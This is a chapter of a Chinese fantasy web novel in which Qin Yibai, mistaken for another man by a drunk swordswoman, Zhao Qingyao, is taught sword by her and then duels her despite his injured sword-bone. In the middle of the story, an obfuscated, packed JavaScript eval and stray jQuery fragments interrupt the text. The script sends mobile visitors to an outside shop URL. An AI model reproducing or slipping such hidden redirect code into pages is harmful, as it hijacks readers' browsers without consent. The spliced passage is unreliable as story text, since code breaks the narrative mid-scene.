洛明川。
秦倚白听过这个名字。
千年前,洛家曾也是中州的强族之一。后几经势力轮转,逐渐没落后,便自请将主家搬出中州,于东州落脚。
之后便像许多小世家和小宗门一样,默默无闻了许多年。
直到近百年,方出了一个厉害的后代。
此人名叫洛函霜,是洛家这一代中的长女,也是玉音宫宫主的唯一亲传弟子。
三十年前,曾有一道骇人无比的神魔之墟裂缝突然出现在了东州边缘的一个小村庄上。从裂缝中走出的,是一群身携时疫之症的上古妖兽鸣楼。
鸣楼是一群以人皮为食的鸟,所过之处草木不生。一旦飞入城池,定会为凡人带来极其惨痛的瘟疫。
恰逢洛函霜下山探亲偶遇此事,仅凭一人一琴便将鸣楼群挡于身前。
一曲箜篌绝引似昆山玉碎、芙蓉泣露。源源不断的箜篌乐音形成了无比强大的结界,将她与鸣楼群牢牢地困在了一处。
此战整整维持了三天三夜。结界外风潇雨晦、飞沙走石,却不妨结界内神圣又强大的灵气源源不断地溢出。
仙盟前来支援的修士想要加入战局,却仍凭谁也无法砸开这个坚硬无比的结界。
玉音宫宫主哭得昏天黑地,几欲昏厥。
谁料到了第四天,第一缕阳光刺破晨曦之时,洛函霜竟完好无损地从结界中走了出来。
本该由多人共同缝补的神魔之墟的裂痕被她独自封印。不仅如此,原本穷凶极恶的鸣楼竟也被洗去了一身的魔息,化为一只只伸颈高鸣的仙鹤,环绕在洛函霜左右。
这是从来都没有过的事情。
自此之后,乐修洛函霜之名威震四海。
连带着她那同父同母的唯一弟弟——洛明川,一同慢慢地被世人所熟知。
洛家家主和夫人去世后,洛明川由洛函霜亲手抚养长大。或许是姐姐的锋芒太盛,洛明川没有拜入任何仙门。反倒是一直当个闲云野鹤,过得那叫一个潇洒自在、不拘小节。
爱慕这般潇洒之人的女修并不在少数,不乏世家后代、仙宗明月。
所以当他与赵轻遥的定亲之事传出时。诧异者有、惋惜者有、愤恨者有、嫉妒者亦有。
这些人不断这样问道:赵轻遥一个凡人,凭什么呢?
凭暄夫人和洛函霜关系交好?凭他们青梅竹马一同长大,情分非比小可的传闻?
凭赵家炼心阁的财富?凭赵轻遥是当今最年轻的剑道魁首?
秦倚白也有疑虑,但他的疑虑和这些人的不太一样。
他知道,赵轻遥生来便该成为照亮新一代剑道之路的金乌。
他并非讨厌剑道之术,只是已失去了剑骨和剑心,甚至每天都在与道心破碎做抗衡,难以再在此道上有什么奢望。
正因得不到、已失去,所以在见到了另一个天才时,无比渴望着看到她冉冉升起。
洛明川凭什么能和这样的一个人站在一起。
会误她大道。
阳光炽烈,不是谁都能靠近的。
秦倚白今夜来见赵轻遥,就是为了证明一次,他没有私心。
*
话虽如此,但眼下的场景,却着实让秦倚白自乱了阵脚。
来的时候也没想过会是这样的情况。
成为秦倚白后,他素来习惯了与人保持礼貌的距离。人与人之间大面积的肢体接触在他的绝大多数印象中,都是和杀戮与惩罚有关。
他已经快要忘记被母亲和十五拥抱是什么滋味了。
但赵轻遥的拥抱是温暖而柔软的。
她与上一次见到时的样子很是不同。他能感受到,原本环绕在她周身锐利的剑意有被尽数收起,不再具有警惕的攻击性。
她身上没有再挂上次那些丁零当啷的金玉配饰,反倒是携着极其清淡的紫薇花香和些许甜酒浓郁的香气。
或白或粉的花瓣沾在她躺得有点松散的黑发间,竟增添了些许别样的美丽。
秦倚白从未觉得身体那般僵硬过。他或许应该用力挣脱,但浑身的肌肉都已紧绷到疼痛。
他狼狈地接连向后退了几步,却仍摆脱不开赵轻遥拥抱的桎梏。直到退无可退,砰地一声径直撞上了身后的一棵花树:
“我不是洛明——”
花树受到惊扰,骤然洒下满天纷扬的花雨。掩盖住了两人的身影,也吞没了他剩余的话语。
赵轻遥的手已从他的腰间攀上了脖颈,伸到了帷帽之下。
她白皙的手腕上也沾着方才落下的花瓣,随着她不经意间的动作,跌入他的衣领中。
“洛明川,”她醉得很厉害,说话依旧是含混不清,但一双眼中却仍闪烁着晶亮的光芒:“你来见我,就别戴帷帽了呀,我都看不到你的脸了。”
她的手继续向上,试图去摘掉他的帷帽。
秦倚白说不出话。
他明明只见过她两次。但在每次见面时,这些小小的谎言和欺骗,都能被她亲自戳破。
他即便将自己的脸遮得严严实实,却也还是感觉已经被她看穿。
所以他没有再像上次那般反抗,只是平静地等待着自己被拆穿的时刻。
帷帽被掀开丢到一旁的那一瞬间,他的心也骤然被揪了起来。
赵轻遥的表情露出来一瞬间的疑惑与迷茫。她双手都搭在他的面庞上,使劲地向前凑去,眯起了双眼,似是要将他看个仔细。
她凑得太近,秦倚白甚至能在她的瞳孔中隐约窥见自己的倒影。
他的喉头滚动了一下,却依旧什么话都没有说。
他在等她把他推开。
“奇怪了。”赵轻遥退后两步,松开了手。
她低头拍了拍自己的脸,重新抬头时,望向他的目光依旧有些困乱不解,却只是喃喃地说道:
“洛明川,你什么时候变得这么好看了?”
秦倚白突然愣在原地。
他觉得有些哭笑不得。
她分明见到了他的脸,却执着地将他当做洛明川。看起来,着实是醉得太糊涂了。
“你喝醉了。”他轻声开口。
这话不说还好,一说出口,赵轻遥便又急匆匆地将脸凑到了他的胸前:“我没有,我哪里有醉。”
她的脸颊紧紧贴在他杂乱不堪的心跳上,仰头看他时目光中含着盈盈的笑意:“你看我像是喝醉了的人吗?”
就差把“酩酊大醉”四个字贴在脑门上了。
但秦倚白也只能顺着她的意思往下说:“没有,是我看错了,你没有喝醉。”
赵轻遥突然就开心了起来。
她像是一只被顺好毛了的猫,轻巧地向后跳了一步,在原地转了几个圈。又似想起什么,开始四处张望了起来。
“你在找什么东西?”秦倚白问道。
“我之前说好要教你学剑的。”她看准了目标,伸手攀下了一支繁花茂盛的紫薇花枝:“就今天晚上吧。”
学剑?
赵轻遥爱剑成痴,洛明川竟然连剑都不会用?
秦倚白的脑中莫名奇妙地冒出了这个卑鄙的想法。
只是这个想法并没有停留太久。因为下一秒,她就拿着那束花枝又开始往他的怀里钻。
很是过分。
但他突然不想拒绝了。
伪装是他的强项,他也不是不能当一下洛明川。
摘下面具时,他本身就是个恶劣的人。
“你呆愣着做什么,得在后面环抱住我呀。”
赵轻遥转身背对向他,已经调整好了自己的姿势。见他没有过多的动作,毫不客气地将他的手臂拉了下来,与她的手臂平行。
“这个也要你拿稳了才行。对嘛,这样才是对的。手腕翻过来,用点力,咦——”
她将花枝塞到他的右手中,非常有耐心地让他以握剑的方式握住。却又在看到他标准的握剑姿势时,惊讶地笑出了声:
“你很上道嘛。”
他当然上道。
秦倚白闭了闭双眼,嘴角扯出了一个微笑。
“然后呢?我该做些什么。”他继续问道。
“你保持这个姿势不要动,其他的就全部交给我好了。”赵轻遥说。
她的手不大,并不能将他的手完全笼住,只是紧紧地覆盖在他的手背上。习剑之人惯有的薄茧带来些微的痒意,却有着非常暖和的温度。
倒显得他的手格外地凉。
林内有风骤起。
树枝浮动的声响变化很快。先是一阵沙沙声过去,哗啦啦的声音便很快传来。
下一刻,惊人的剑意便猛烈地从赵轻遥的身上迸发开来,如原地雷霆乍起,比他在观花灯那日在她身上感知到凌厉剑意,更要强大数百倍。
狂风袭来,卷落枝头尚存的花瓣。她释放出的强大灵气令两人腾空而起,而原先所站立之地,瞬间被花瓣海所淹没。
秦倚白被她带着飞到高处时才看清,原来这座紫薇花林的正中间,围着一湖深潭。
她紧紧握着他拿着花枝的右手。花枝所指之处,便是剑意肆虐之处。
本好好的紫薇花林,瞬间变得七零八落。
秦倚白虽不是自己在运剑,但紧密环绕在周身这股剑意来得太过蛮横随意不讲道理,引得体内剑骨缺失的地方正在无声震鸣和控诉。
肝肠寸断的痛意开始沿着脊椎骨席卷全身,是那股他已经习惯了的疼痛。他不动声色地运转天脉,试图用灵气将这股痛苦压下去。
“看好啦。”赵轻遥带着笑意说。
她似乎觉得这是一场非常有意思的游戏,并对此乐此不疲。抓着他的手,向着深潭的方向挥去。
漫天的剑气瞬间扭转了方向。巨大的水花层叠着激起,于空中炸开。
水珠噼里啪啦地落下,落在身上打地生疼,为原本晴朗的夜带来了一场短暂的大雨。
朦胧的水雾中,赵轻遥的动作突然停顿了一下。
她转身将他向下一推,反手拔出一直背在身后逢春剑。浅青色的剑光溢出,霎时笼罩了整个花林。
远离了过于强大的剑意,剑骨处传来的痛苦有了延缓的趋势。秦倚白稳稳地落在了光秃秃的枝桠上,正欲抬头对她说话,却突然发觉——
本残落一地的花瓣,正在缓慢地向着枝头回飘。
适才被剑气削掉的、一朵朵一簇簇的紫薇花重新凝聚了起来,落回了枝头。
光秃秃的树干又重新长满了温柔芬芳的紧簇繁花。
包括他手上那根被当做剑乱使一通的花枝。
又一阵微风吹过,花叶沙沙地响动。仿佛刚才满地的枯枝残花,都只是他的错觉。
赵轻遥轻盈地落到了他的身侧,洋洋得意得像一只翘起尾巴的猫:
“你学会了吗?”
“这些花是怎么回到枝头的?”秦倚白问道。
“你知道我的剑为什么叫逢春呀。”她似是嫌站着太累,干脆直接双脚悬空地在枝干上坐下,一摇一晃地把玩着手中的逢春剑。
方才那场“雨”下的太过猛烈,眼前的万物都被蒙上了一层潮湿的水泽。赵轻遥的发梢也已被打湿,就那样湿漉漉地散落在两肩,露出半截雪白的后颈。
非礼勿视。
秦倚白垂眸,错开了自己望向她的目光。
有那么一瞬间,他差点忘了自己不是洛明川。
其实赵轻遥回答得没错,真正的洛明川的确会知道原因。
只是秦倚白不知道罢了。
他只是借着别人的身份,偶然窥见了一丝不属于自己的光。
“我学会了。”他突然开口说道:“除了最后一招我没有办法,但前面的那些东西,我应该都学会了。”
赵轻遥本昏昏欲睡的动作一怔,仰起头望向他。
秦倚白的心跳又开始加速起来。
他分明瞥见她的眉目间划过一丝清明的疑惑,但却又很快变为了混沌的笑意。
也不知她的酒量究竟是浅成了什么样子,喝甜酒都能喝到分辨不出人的地步。
“少在我面前吹牛。”她撇过脸去,懒洋洋地说道:“你啥样的我还不知道吗?”
是啊,她当然知道洛明川是什么样子。
可她不知道秦倚白是什么样子。
即便赵轻遥现在都不认识他,但他还是想让她知道。
秦倚白被这样的念头刺得一顿,却又一字一字地慢慢说了下去:
“可我真的已经会了。”
“你若不信的话,可以与我比一场。”
赵轻遥重新转头看他,有些因困倦而含混的语气中充满了不可置信:“比剑?”
她脸上几乎写满了“你怎么敢的”。
“对,”秦倚白凝望着她的眉眼,轻声说:“比剑。”
他说完这句话,自己也觉得自己已经疯了。
失去剑骨后,若非逼不得已,他着实是没有必要动剑。
虽可以用十境天脉的灵气压下用剑时的痛苦,但反噬极大。在剔除剑骨之伤彻底痊愈前,强行用剑只可能让他的身体情况更糟糕。
接下来一桩桩一件件的事情会很多,他根本不能因为受伤而耽误计划。
多方谋划来的“姜元”的身份还未彻底坐稳、灵傀滋养灵魂之说还需查证、如何藏匿住自己道心不稳的事实、还有秦肆留在璇云仙宗的把柄……
他却要在这种时候因为一个虚无缥缈的念头,就冒着旧伤复发的危险和人比剑。
赵轻遥甚至连他到底是谁都不知道。她醉得如此厉害,醒来还不一定记得今夜发生了什么。
其实是输是赢,对他们俩而言都并没有什么太多的意义,不是吗?
他垂下眸光,却又不自觉地将手中的花枝攥得异常之紧。直到手心处传来些许尖锐的痛感,才缓缓松开。
在秦家生活,隐忍二字是他的行事准则。他分明有足够多的耐性,却偏偏在赵轻遥的面前犯了错。
他不该这样的。
赵轻遥听完他说的话,表情很是困惑:“你若实在想的话,也不是不行,只是……”
她迟疑了一下,缓缓站起身来,伸手去了拉那支被他攥在手中的花枝。
秦倚白紧紧盯着她,慢慢地松开了手。
手心处还残留着方才用力时的疼痛。
赵轻遥接过,随意理了理有些凌乱的花枝。下一刻,她便将本拿在手上把玩的逢春剑递了过来。
“换一下吧。你用的时候小心点,剑别出鞘就行,免得受伤。”她扬了扬下巴,示意他接下。
秦倚白没有动。
他忽然觉得一股难以言喻的凉意直冲胸腔,搅得他心烦意乱。几经克制,方才冷着声道:“剑修的本命剑不可随意给其他人使用。”
她怎么可以这样轻易地把本命剑交出去,这不亚于把自己的命递到了别人手上。
“我知道啊。”
赵轻遥眨了眨眼,碰了碰他的胳膊,语气竟有了几分撒娇的意味:“可是,洛明川又不是其他人。”
秦倚白觉得自己胸腔中那股的莫名凉意又冷了几分。
“再说了,只是简单拿着用一用而已。你是刚学剑,逢春认的主人又不是你,也使不出什么厉害的招数。我们俩得换一换,这样才公平。”
她一面碎碎念着,一面再次将逢春往他的手上推了推:“快点拿着了。”
秦倚白沉默着接过。
这是一把极其修长轻巧的剑,通身遍布着如玉般温润的手感。
他接过时小臂绷得太紧,甚至还在微微颤抖。一串浅紫色的剑穗顺着动作从剑柄上甩了出来。流苏上方圆滚滚的镂空金铃与剑鞘磕碰了一下,发出叮铃一声轻响。
很漂亮的剑穗。
赵轻遥发现他的目光停留在剑穗上,眼神突然便亮了几分,一下子便拽住他的衣袖,像是在邀功:
“好看吧,不愧是你送我的生辰礼物。我一直都挂在逢春上,去试仙峰的时候都没摘呢。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13422926|132302||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
秦倚白敛了敛目光,轻轻抚过流苏的尾部:“很好看。”
只是颜色有些不太搭。
不匹配的剑穗和剑挂在一起,倒显得逢春通身的青光都黯淡了不少。
“开始吧。”他突然说道:“我已经准备好了。”
话音未落,急促的紫薇花香便毫不客气地冲着他的脸面而来。即便和刚刚胡作非为时的气势相比已收敛了大半,但还是携带着一股仿佛生来便带有的凌厉剑意。
两人的身影从树上换到了树下。漫天花雨中,剑鞘与花枝相撞相离,纠缠不休。
逢春是赵轻遥的本命剑,不会让别人拿着伤害她,也不会接受除她以外的人灌入剑中的灵气。
如果他是一个不会用剑的人,那么逢春对他来说只会是个和匕首没什么两样的利器。
这种情况下,对逢春来说,既得主人允许,自也不会那么抗拒被人简单地使用两下。
但秦倚白偏偏会用剑。
将自身的灵气灌入剑中,是剑修刻在身体里的本能。
这也就导致了,逢春现在是在以一种完全强硬的姿态在抗拒他这个陌生人。能在秦倚白手中施展出的功力,不及在赵轻遥手中施展出的三分。
熟悉的甜意从喉咙底部一寸寸向上涌来。修士的听觉敏锐,他甚至能听见还没完全痊愈的剑骨之伤在体内慢慢撕裂的声音。
反噬的痛苦紧随而来。
五脏肺腑传来一阵阵难以忍受的剧痛,像是被游荡在体内的反噬之息狠狠扯开,又在鲜血的浸泡中复原。
扯开,复原;扯开,再复原。如此循环往复。
是他体内滚滚奔流、凝聚着兄弟姐妹性命的鲜血才没有让他倒下去。
这种感觉令他生畏,又令他更为痛苦。
这份痛苦是他应该习惯的,所以他没有再用灵气压下疼痛。
他的背部却已完全被不断涌出的虚汗打湿。极致的疼痛中,他面色不变地抬头看向赵轻遥。
赵轻遥醉酒,再加上顾及是在和一个没用过剑的比试。不仅没有挥出一道剑气,甚至还在有意收敛周身锐利无比的剑意。
简直是像是在呵护一个易碎的瓷瓶。
这和他第一次见到她时她那副尖锐的模样,和她刚刚为非作歹地用剑气席卷紫薇林时,完全不一样。
这不是真实的她。
秦倚白和她比剑,不是想看到她这副模样。
就像于黑暗中窥见了太阳的一丝光芒之后,便不愿再见乌云蔽日。
他已经看过太多戴着面具的人了,就连他自己也不得不藏在面具之下,不让别人窥见自己的丑恶的真面目。
直到他的帷帽被一个人掀了起来,而那个人却连他是谁都不知道。
如果这是他此生唯一一个能让真实的自己与真实的赵轻遥相遇的机会,那剑骨反噬,就让它反噬去吧。
他将左手背至身后,凝气聚阵。
隐隐闷雷声于夜空中滚滚而来。林中剑意汇聚成的狂风乍起,树枝摇曳不休,却未落一花一叶。
远处的深潭一侧,金色剑芒霎时落地。
感知到了与自己截然不同的另一股强大的剑意袭来,赵轻遥瞬间停下了与他交锋的动作。
“为什么还会剑修在这里?是冲着我来的吗?”她头脑不清醒,有些发懵。
庆典这些天,找她比剑的人真的很多。炼心阁门口,甚至还摆上了专门的登记处。
秦倚白笑了笑,看着她的双眼,轻轻说道:“你去看看呢?”
他将逢春剑归还到了她的手中。
赵轻遥接过了剑,向着陌生剑意最盛的深潭走了几步,却又很快回头。她看着他,认真地说:“你要在这里等我哦。”
“好。”他是这样回答的。
疼痛让神识变得很轻,飞得很远。
他看到她对着他布下的剑阵拔出了剑,他看到了她周身凌厉的剑光再次卷起了飞花。
她的逢春剑很美,出鞘时却又快又狠。剑尖上悬浮着的凛冽杀气,是和刚刚畏首畏尾的剑法截然不同。
雷光以撼动天地之姿,携着剑芒朝着潭面劈下,又被她反手斩断。
金色和青色两股扭打交缠的剑意再次将潭水高高搅起,重新落下了一场声势浩大的“雨”。
“这位道友,既不肯露面,那差不多就行了。”赵轻遥浮于潭面之上,浑身湿漉漉地看着天空:“你我皆是实力不凡之人,又何须躲躲藏藏?”
她吐出这话时的神情格外嚣张自信,一点都不像是个醉得神志不清的人。
这才是她真正的样子。
秦倚白也终于让她见到了,他和洛明川不一样的地方。
即便她不知道他是谁,他叫什么名字。
神识回到身体内时,秦倚白几乎控制不住地吐出了一口鲜血,却又忍不住地笑了出声。
空气中还弥漫着适才的“雨”带来的水雾,湿漉漉的气息干净而澄澈,连带着他的心也一起跳跃了起来。
体内反噬的余痛还在蔓延,剑骨之伤已经重新裂开。他沿着树干缓缓坐下,朦胧的水雾中,他看到赵轻遥捂着头慢慢地走了回来。
漫天飞舞的花瓣落下,痛意让他有些看不清她的脸。
“洛明川!”她看到他的那一瞬间,便笑着跑了过来。
她坐在他的身侧,凑近他的耳边,小小声地说得张扬又得意:“我厉害吗?我是不是特别特别厉害。”
原本疯狂跃动的心跳,在听到洛明川名字的刹那间,已经慢了下来。
那是一股不比剑骨之伤轻的痛。
“特别厉害。”他注视着她扑闪的睫毛,试图用这种方式强迫自己平静下来:“你生来就该是剑道魁首。”
这是他被她带着学完剑后,就该对她说出的话。
赵轻遥似是对这个回答很满意。眸光带笑,双目眨也不眨地看着他。
这样太过强烈注视的目光让他感到不安,却并不想逃避。
“你——”
一切都发生在电光火石之间。凛冽的剑意放下,她的身上花香、雨水和甜酒的气息沉沉罩下,掩盖住他骨中消匿不掉的血腥气。
她与他的唇只剩两指之隔。
秦倚白从未想过自己会有在外有如此狼狈的时候。他迅速将头扭去了一旁,抵在她嫣红唇色上的双指亦战栗了起来:“你做什么?”
他突然意识到自己不过是一个彻头彻尾的卑鄙之人,躲于暗中偷窃着别人的幸福。
“洛明川,我现在很厉害,而且我也已经及笄了。”赵轻遥挣开桎梏,不满地说道。
“那也不行。”他蜷缩起收回的指尖,声音亦在发颤。
他今夜做过的错事已太多,不能再错上加错。
他就不该来招惹赵轻遥。
“那明日可以吗?”“……不行。”
“后日呢?”“……也不行。”
“一月后?”“……”
他没有办法回答这个问题。
“那算了吧。”赵轻遥似是有些疲惫,懒懒地靠在树干了闭上了双眼。
她的呼吸逐渐变得开始平稳,却又在秦倚白将头转过来的瞬间,重新抓住了他的手。
“哥哥,”她含混不清地说:“喜欢我的人很多,但我最喜欢你。”
她似乎并不吝啬于对喜欢的人表达她的喜爱,一定要将这句话说完,才能放心地睡去。
秦倚白直直地看着她,沉默不语。
□□上的痛苦正在以一种极其缓慢的方式褪去,可胸间传来的闷痛却迟迟不可散去。
原来就算能偶然偷得的一丝阳光,也不会落到他的身上。
他已不敢再问自己一句,是否对她毫无私心。
他重新将帷帽带稳在头上,在她身侧设好了足以让她好好睡上一觉的结界后,转身离开。
在此之后,赵轻遥三个字,得不到、求不得,也曾成为过他的心魔。
直到后来,他亲眼看到太阳坠下。